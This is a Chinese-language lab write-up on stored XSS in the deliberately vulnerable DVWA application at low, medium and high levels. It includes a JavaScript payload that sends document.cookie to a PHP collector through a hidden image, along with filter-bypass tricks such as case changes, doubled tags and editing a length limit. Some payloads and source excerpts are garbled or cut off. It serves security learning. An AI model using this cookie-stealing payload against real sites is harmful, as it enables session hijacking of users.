DVWA实验储存型XSS

1.low

DVWA实验储存型XSS_第1张图片

直接输入测试,只要查看这个日志就会弹出这个信息,依法炮制试试获取cookie

DVWA实验储存型XSS_第2张图片

joke.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/joke/joke.php?joke='+encodeURIComponent(document.cookie);
//

joke.php

输入 即可跳转

实验证明少了http://或者双引号都无法跳转


源码

Stored XSS Source
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close(); } ?>

trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist

可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:

  • "\0" - NULL
  • "\t" - 制表符
  • "\n" - 换行
  • "\x0B" - 垂直制表符
  • "\r" - 回车
  • " " - 空格

源码中只是简单的删除了charlist中的符号,并没有过滤任何的标签,当然存在xss漏洞


2.medium

直接输入,由下面显示就可以知道, 大写后发现还是被过滤了,也就是说这次过滤是不分大小写的

输入ipt>alert(/xss/)

输入ipt>alert(/xss/)pt> 大写加双写都被过滤了

DVWA实验储存型XSS_第5张图片

那么这次肯定就是正则表达式过滤,然后捉包改变一下字数限制,居然能弹出。

分析在message中做了过滤标签的处理,而在name中也做了但是应该只是简单的过滤了,没有考虑到大小写,和双写问题,应该只是个简单的replace

源码

Stored XSS Source
', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close(); } ?>
strip_tags(string,allow)
参数 描述
string 必需。规定要检查的字符串。
allow 可选。规定允许的标签。这些标签不会被删除。

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释:该函数是二进制安全的。


addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL


htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ' (单引号)成为 '
  • < (小于)成为 <
  • > (大于)成为 >

用了三个函数来保证message的安全,最后的htmlspecialchars()函数就已经没有任何办法了,而name中只有一个replace真是尴尬,这也提醒了如果message不行就试试name啊,还有以下的直接输入"哈哈"发现自动多了反斜杠,多少也可以知道其中用了什么函数,这也是一个获取信息的思路啊




3.high


可以肯定Message做了和medium一样的防护了,所以不考虑message了,但是在name中不管输入大小学还是双写都没有用了,这时候就该想到黑名单过滤了,正则表达式。

直接输入


在输入sa则完全可以显示,因为代码是从<开始匹配


那么可以怎么利用呢 如上所说可以使用